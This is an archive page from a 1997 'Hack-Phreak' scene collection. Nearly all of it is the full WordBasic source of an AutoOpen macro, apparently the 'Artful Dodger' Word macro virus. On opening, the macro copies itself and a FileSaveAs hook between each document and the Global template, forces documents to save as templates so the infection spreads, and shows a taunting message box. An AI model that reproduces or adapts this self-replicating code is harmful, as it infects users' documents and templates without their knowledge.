home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / DODGERA.ZIP / AUTOOPEN.TXT next >
Text File  |  1997-03-08  |  457b  |  20 lines
  1. Sub MAIN
  2. REM  AutoOpen Macro
  3. Dim dlg As FileSaveAs
  4. GetCurValues dlg
  5.  
  6. On Error Goto exit
  7. If dlg.Format = 0 Then
  8. dlg.Format = 1
  9. Name$ = FileName$()
  10. MacroCopy "Global:FileSaveAs", FileName$() + ":FileSaveAs"
  11. MacroCopy  "Global:AutoOpen", FileName$() + ":AutoOpen"
  12. FileSaveAs dlg
  13. EndIf
  14.  
  15. MacroCopy FileName$() + ":AutoOpen", "Global:AutoOpen"
  16. MacroCopy FileName$() + ":filesaveas", "Global:FileSaveAs"
  17. MsgBox "tHe aRtFuL dOdGeR"
  18. exit:
  19. End Sub
  20.